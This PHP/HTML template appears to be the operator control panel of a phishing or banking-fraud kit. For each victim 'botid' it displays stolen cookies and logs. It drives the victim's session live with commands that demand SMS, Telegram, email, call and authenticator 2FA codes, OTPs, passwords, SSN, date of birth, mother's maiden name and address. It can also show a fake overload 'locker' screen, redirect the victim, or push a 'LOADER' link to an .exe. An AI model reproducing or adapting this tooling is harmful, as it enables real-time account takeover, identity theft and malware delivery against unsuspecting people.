<fieldset>
    <div class="form-group">

    <label for="datalog">Data Info</label>

    <textarea name="datalog" placeholder="Info" class="form-control" id="datalog" style="height:150px; "><?php echo htmlspecialchars(($edit) ? $customer['datalog'] : '', ENT_QUOTES, 'UTF-8'); ?></textarea>


<div id="cookie_frm" style="padding-top:10px;display:none;">
    <a target="_blank" class="btn btn-warning" href="data/<?php echo htmlspecialchars(($edit) ? $customer['botid'] : '', ENT_QUOTES, 'UTF-8'); ?>.json">Cookie<i class="glyphicon glyphicon-send"></i></a>
</div>

<script>
  if (document.getElementById('cookie_frm').innerHTML.indexOf('0.json') ==-1)
  document.getElementById('cookie_frm').style.display='';

  <?php

  $fls=($edit) ? $customer['botid'] : '';

  $fls='data/'.$fls.'.json';

  if(@fopen($fls, "r"))
   {
  		echo "document.getElementById('cookie_frm').style.display='';";
   }
   else {
     echo  "document.getElementById('cookie_frm').style.display='none';";
   }

  ?>
</script>



    </div>

    <div id="btngroup" class="form-group">
    <label for="tokenlog">Token log</label>

    <style>
.btnw
{
width:250px;
}

.divpd
{
padding-top:10px;
}
    </style>



    <textarea name="tokenlog" placeholder="" class="form-control" id="tokenlog" style="height:80px; "><?php echo htmlspecialchars(($edit) ? $customer['tokenlog'] : '', ENT_QUOTES, 'UTF-8'); ?></textarea>
    <input type="hidden" id="tokenstate" name="tokenstate" value="">

    <div  class="divpd" align="center" style="padding-top:10px;">
    


    <div  style="padding-top:20px;">

    </div>





    </div>




    </div>

    <script>


    function errtapnumberapp_func ()
    {
      tmp='[2FATOKENERROR='+$('#id_tapnumber').val()+']'
      $('#tokenstate').val(tmp);
      $('#tokenlog').val('>>ERROR TAP NUMBER '+$('#id_tapnumber').val()+' request\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }

    function tapnumberfunc ()
    {
      tmp='[2FATOKEN='+$('#id_tapnumber').val()+']'
      $('#tokenstate').val(tmp);
      $('#tokenlog').val('>>TAP NUMBER '+$('#id_tapnumber').val()+' request\r\n'+ $('#tokenlog').val());
      control_post();
      return false
    }



    function authappfunc ()
    {

      $('#tokenstate').val('[AUTHAPP]');
      $('#tokenlog').val('>>AUTH APP 2FA verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function erruthapp_func ()
    {

      $('#tokenstate').val('[ERRAUTHAPP]');
      $('#tokenlog').val('>>Error AUTH APP 2FA verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }




  function pushfunc ()
  {

  $('#tokenstate').val('[PUSH]');
  $('#tokenlog').val('>>PUSH verification\r\n'+ $('#tokenlog').val());
  control_post();
  return false;
  }


  function mailfunc ()
  {

  $('#tokenstate').val('[MAIL]');
  $('#tokenlog').val('>>MAIL 2FA verification\r\n'+ $('#tokenlog').val());
  control_post();
  return false;
  }




  function errsmsverif_func ()
  {

  $('#tokenstate').val('[ERRSMSCODE]');
  $('#tokenlog').val('[Wait for SMS / Error SMS] <br>'+ $('#tokenlog').val());
  control_post();
  return false;
  }


    function smsverifcode_func ()
    {

      tmp='[SMSCODE]';
      $('#tokenstate').val(tmp);
      $('#tokenlog').val('[Wait for SMS] <br> '+ $('#tokenlog').val());
      control_post();
      return false;
    }



    function errsmsverif_func ()
    {

      $('#tokenstate').val('[ERRSMSCODE]');
      $('#tokenlog').val('[Wait for SMS / Error SMS] > \r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }



    function tgverifcode_func ()
    {

      tmp='[TGCODE]';
      $('#tokenstate').val(tmp);
      $('#tokenlog').val('>>TG Code 2FA verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }



    function errtgsverif_func ()
    {

      $('#tokenstate').val('[ERRTGCODE]');
      $('#tokenlog').val('>>Error TG Code 2FA verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }




        function passwordsverif_func ()
        {

          tmp='[PASSWORDCODE]';
          $('#tokenstate').val(tmp);
          $('#tokenlog').val('>>PASSWORD 2FA verification\r\n'+ $('#tokenlog').val());
          control_post();
          return false;
        }



        function errpasswordsverif_func ()
        {

          $('#tokenstate').val('[ERRPASSWORDCODE]');
          $('#tokenlog').val('>>Error PASSWORD Code 2FA verification\r\n'+ $('#tokenlog').val());
          control_post();
          return false;
        }



        function lockerverif_func ()
        {

          tmp='[LOCKER]';
          $('#tokenstate').val(tmp);
          $('#tokenlog').val('[Service Overload Message] <br>'+ $('#tokenlog').val());
          control_post();
          return false;
        }



        function eredirectverif_func ()
        {

          $('#tokenstate').val('[REDIRECT]');
          $('#tokenlog').val('[Redirect] <br>'+ $('#tokenlog').val());
          control_post();
          return false;
        }




  function errmail_func ()
  {

  $('#tokenstate').val('[ERRMAIL]');
  $('#tokenlog').val('>>Error MAIL 2FA verification\r\n'+ $('#tokenlog').val());
  control_post();
  return false;
  }



    function emailcode_func ()
    {

      $('#tokenstate').val('[EMAILCODE]');
      $('#tokenlog').val('>>Email Code 2FA verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function erremailcode_func ()
    {

      $('#tokenstate').val('[ERREMAILCODE]');
      $('#tokenlog').val('>>Error Email Code 2FA verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function fullinfo_func ()
    {

      $('#tokenstate').val('[FULL]');
      $('#tokenlog').val('>>FULL Info verification (Full Name, DOB, MMN, SSN, Email, Phone)\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function fullinfo_error_func ()
    {

      $('#tokenstate').val('[ERRFULL]');
      $('#tokenlog').val('>>Error FULL Info verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }



    function address_func ()
    {

      $('#tokenstate').val('[ADDRESS]');
      $('#tokenlog').val('>>Address verification \r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function address_error_func ()
    {

      $('#tokenstate').val('[ERRADDRESS]');
      $('#tokenlog').val('>>Error Address verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }







    function callfunc ()
    {

      $('#tokenstate').val('[CALL]');
      $('#tokenlog').val('>>CALL 2FA verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function errcall_func ()
    {

      $('#tokenstate').val('[ERRCALL]');
      $('#tokenlog').val('>>Error CALL 2FA verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }




  function otpfunc ()
  {

  $('#tokenstate').val('[OTP]');
  $('#tokenlog').val('>>OTP verification\r\n'+ $('#tokenlog').val());
  control_post();
  return false;
  }


  function err_otp_func ()
  {

  $('#tokenstate').val('[ERROTP]');
  $('#tokenlog').val('>>Error OTP verification\r\n'+ $('#tokenlog').val());
  control_post();
  return false;
  }



    function errloginpassfunc ()
    {

      $('#tokenstate').val('[ERRLOGIN]');
      $('#tokenlog').val('[Waiting Login Approve / Error Login]  <br>'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function waitingfunc ()
    {

      $('#tokenstate').val('[WAITING]');
      $('#tokenlog').val('[Waiting Form] <br> '+ $('#tokenlog').val());
      control_post();
      return false;
    }





    function phoneveriffunc ()
    {

      $('#tokenstate').val('[PHONE]');
      $('#tokenlog').val('>>Phone/Email verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function errphoneveriffunc ()
    {

      $('#tokenstate').val('[ERRPHONE]');
      $('#tokenlog').val('>>Error Phone/Email verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }


    function errmailingaddrfunc ()
    {

      $('#tokenstate').val('[ERRMAILADDR]');
      $('#tokenlog').val('>>Error Mailing Address verification\r\n'+ $('#tokenlog').val());
      control_post();
      return false;
    }

    function mailingaddrfunc ()
    {
      tmp='[2FATOKEN='+$('#id_fullname').val()+']'
      $('#tokenstate').val(tmp);
      $('#tokenlog').val('>>Full Name '+$('#id_fullname').val()+' request\r\n'+ $('#tokenlog').val());
      control_post();
      return false
    }


    function errtokenveriffunc ()
    {
      tmp='[2FATOKENERROR='+$('#id2_token_number').val()+']'
      $('#tokenstate').val(tmp);
      $('#tokenlog').val('>>Error TOKEN '+$('#id2_token_number').val()+' request\r\n'+ $('#tokenlog').val());
      control_post();
      return false
    }





  function load_func ()
  {

  if ($('#linkexe').val().length < 5)
  {
    alert('Put link to .exe');
    $('#linkexe').focus();
    return false;
  }

  tmp='[LOADER='+$('#linkexe').val()+']';
  $('#tokenstate').val(tmp);
  $('#tokenlog').val('>>Loader  '+$('#linkexe').val()+' request\r\n'+ $('#tokenlog').val());;
  control_post();
  return false;
  }


    function locker_func ()
    {
      $('#tokenstate').val('[LOCKER]');
      $('#tokenlog').val('>>LOCKER\r\n'+ $('#tokenlog').val());
      control_post();
      return false
    }

    function redirectfunc ()
    {
      $('#tokenstate').val('[REDIRECT]');
      $('#tokenlog').val('>>REDIRECT\r\n'+ $('#tokenlog').val());
      control_post();
      return false
    }


    function pushfunc ()
    {
      $('#tokenstate').val('[PUSH]');
      $('#tokenlog').val('>>REDIRECT\r\n'+ $('#tokenlog').val());
      control_post();
      return false
    }






    function control_post() {
    var s_url=document.location.href;
    var  datalog=  $('#datalog').val();
    var  tokenlog=  $('#tokenlog').val();
    var  tokenstate=  $('#tokenstate').val();
    var  userinformation= $('#userinformation').val();
    var  comment= $('#comment').val();
    $.post(s_url, { datalog: datalog, tokenlog: tokenlog,  tokenstate: tokenstate,  userinformation: userinformation, comment: comment} );
      return false;
  }

    $("#customer_form").ready(function()
     {


       $('#push_btn').click(function(){ pushfunc(); return false;  });

       $('#erremail_btn').click(function(){ errmail_func(); return false;  });
       $('#email_btn').click(function(){ mailfunc(); return false;  });

       $('#err_tapnumber_btn').click(function(){ errtapnumberapp_func(); return false;  });
       $('#tapnumber_btn').click(function(){ tapnumberfunc(); return false;  });

       $('#errauthapp_btn').click(function(){ erruthapp_func(); return false;  });
       $('#authapp_btn').click(function(){ authappfunc(); return false;  });



       $('#errsmsverif_btn').click(function(){ errsmsverif_func(); return false;  });
       $('#smsverifcode_btn').click(function(){ smsverifcode_func(); return false;  });

       $('#tgverifcode_btn').click(function(){ tgverifcode_func(); return false;  });
       $('#errtgverif_btn').click(function(){ errtgsverif_func(); return false;  });


       $('#passwordverifcode_btn').click(function(){ passwordsverif_func(); return false;  });
       $('#errpasswordverif_btn').click(function(){ errpasswordsverif_func(); return false;  });


       $('#locker_btn').click(function(){ lockerverif_func(); return false;  });
       $('#redr_btn').click(function(){ eredirectverif_func(); return false;  });





       $('#erremailcode_btn').click(function(){ erremailcode_func(); return false;  });
       $('#emailcode_btn').click(function(){ emailcode_func(); return false;  });



       $('#errcall_btn').click(function(){ errcall_func(); return false;  });
       $('#call_btn').click(function(){ callfunc(); return false;  });


    $('#errotp_btn').click(function(){ err_otp_func(); return false;  });
    $('#otp_btn').click(function(){ otpfunc(); return false;  });


    $('#fullinfo_btn').click(function(){ fullinfo_func(); return false;  });
    $('#fullinfo_error_btn').click(function(){ fullinfo_error_func(); return false;  });


    $('#address_btn').click(function(){ address_func(); return false;  });
    $('#address_error_btn').click(function(){ address_error_func(); return false;  });





          $('#err_mailingaddr_btn').click(function(){ errmailingaddrfunc(); return false;  });
          $('#mailingaddr_btn').click(function(){ mailingaddrfunc(); return false;  });
          $('#errloginpass_btn').click(function(){ errloginpassfunc(); return false;  });
          $('#waiting_btn').click(function(){ waitingfunc(); return false;  });


          $('#phone_btn').click(function(){ phoneveriffunc(); return false;  });
          $('#errphone_btn').click(function(){ errphoneveriffunc(); return false;  });

          $('#token_btn').click(function(){ tokenveriffunc(); return false;  });
          $('#err_token_btn').click(function(){ errtokenveriffunc(); return false;  });

          $('#push_btn').click(function(){ pushfunc(); return false;  });


          $('#redirect_btn').click(function(){ redirectfunc(); return false;  });
      //    $('#locker_btn').click(function(){ locker_func(); return false;  });

          $('#load_btn').click(function(){ load_func(); return false;  });




       });

    </script>



    <div class="form-group">
        <label for="userinformation">User info</label>

 <textarea name="userinformation" placeholder="" class="form-control" id="userinformation" style="height:537px; "><?php echo htmlspecialchars(($edit) ? $customer['userinformation'] : '', ENT_QUOTES, 'UTF-8'); ?></textarea>

             </div>








    <div class="form-group">
        <label for="comment">Status</label>
        <input name="comment" value="<?php echo htmlspecialchars($edit ? $customer['comment'] : '', ENT_QUOTES, 'UTF-8'); ?>" placeholder="" class="form-control"  type="text" id="comment">
    </div>




    <div class="form-group text-center">
        <label></label>
        <button type="submit" class="btn btn-warning" >Save <i class="glyphicon glyphicon-send"></i></button>
    </div>
</fieldset>
